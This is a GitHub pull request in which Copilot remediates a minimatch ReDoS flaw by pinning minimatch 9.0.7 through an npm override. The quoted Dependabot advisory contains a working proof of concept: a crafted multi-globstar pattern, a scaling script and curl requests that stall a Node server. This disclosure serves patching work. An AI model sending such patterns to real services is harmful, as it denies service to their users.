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Remediate minimatch ReDoS vulnerability - #32

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copilot/fix-minimatch-vulnerability
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Remediate minimatch ReDoS vulnerability#32
adrienpessu with Copilot wants to merge 3 commits into
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copilot/fix-minimatch-vulnerability

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Copilot AI commented Aug 31, 2026

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minimatch@9.0.5 permits combinatorial backtracking in matchOne() for crafted patterns containing multiple non-adjacent ** segments, enabling event-loop starvation. The patched release is 9.0.7.

  • Dependency update
    • Add an npm override forcing minimatch@9.0.7 for glob 10+.
    • Regenerate package-lock.json to remove the vulnerable resolution.
{
  "overrides": {
    "glob@>=10.0.0": {
      "minimatch": "9.0.7"
    }
  }
}
  • Reachability assessment
    • No direct minimatch, glob, or matchOne() usage exists in application source or tests.
    • The affected package is reachable only through development tooling; production exposure is unlikely.
    • Confidence: high.
Original prompt

This section details the Dependabot vulnerability alert you should resolve

<alert_title>minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments</alert_title>
<alert_description>### Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), ...

  • Resolves github/github-event-mirror-azure-function alert #51

@adrienpessu
adrienpessu marked this pull request as ready for review August 31, 2026 13:30
Copilot AI balanced review requested due to automatic review settings August 31, 2026 13:30

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Copilot wasn't able to review any files in this pull request.

Copilot AI and others added 2 commits August 31, 2026 13:30
Co-authored-by: adrienpessu <7055334+adrienpessu@users.noreply.github.com>
Co-authored-by: adrienpessu <7055334+adrienpessu@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix ReDoS vulnerability in minimatch Remediate minimatch ReDoS vulnerability Aug 31, 2026
Copilot AI requested a review from adrienpessu August 31, 2026 13:33
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3 participants